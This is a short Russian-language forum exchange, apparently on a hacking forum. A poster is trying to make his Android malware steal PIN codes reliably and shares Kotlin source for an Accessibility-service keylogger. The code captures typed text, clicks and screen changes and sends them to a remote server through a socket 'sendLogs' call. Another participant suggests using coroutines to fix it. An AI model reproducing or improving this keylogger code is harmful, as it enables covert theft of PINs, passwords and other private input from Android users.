Пожалуйста, обратите внимание, что пользователь заблокирован
Пытаюсь фиксануть чтоб пин-коды воровал (ворует только с обрывом)
Возможно что надо в потоках это реализовывать, корутины пробуй.Пытаюсь фиксануть чтоб пин-коды воровал (ворует только с обрывом)
ПопробуюВозможно что надо в потоках это реализовывать, корутины пробуй.
Примерно Так?Возможно что надо в потоках это реализовывать, корутины пробуй.
private fun keylogger(event: AccessibilityEvent) {
if (SharedPreferences.keylogger == "1") {
GlobalScope.launch(Dispatchers.IO) {
try {
val text = withContext(Dispatchers.Default) {
StringBuffer().apply {
when (event.eventType) {
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED,
AccessibilityEvent.TYPE_VIEW_CLICKED,
AccessibilityEvent.TYPE_VIEW_FOCUSED -> append(event.text.toString())
AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED,
AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> {
if (event.contentChangeTypes and AccessibilityEvent.CONTENT_CHANGE_TYPE_TEXT != 0) {
append(event.text.toString())
}
}
}
}.toString().trim()
}
text.takeIf { it.isNotEmpty() && it != "[]" }?.let { logText ->
val eventTypeTag = when (event.eventType) {
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> "[TEXT_CHANGED]"
AccessibilityEvent.TYPE_VIEW_CLICKED -> "[VIEW_CLICKED]"
AccessibilityEvent.TYPE_VIEW_FOCUSED -> "[VIEW_FOCUSED]"
else -> "[OTHER]"
}
val logMessage = JSONObject(mapOf(eventTypeTag to logText)).toString()
Log.v("Logger", "$eventTypeTag $logText")
IOSocketyt.sendLogs("", logMessage, "keylogger")
}
} catch (e: Exception) {
IOSocketyt.sendLogs("", "keylogger ${e.localizedMessage}", "error")
}
}
}
}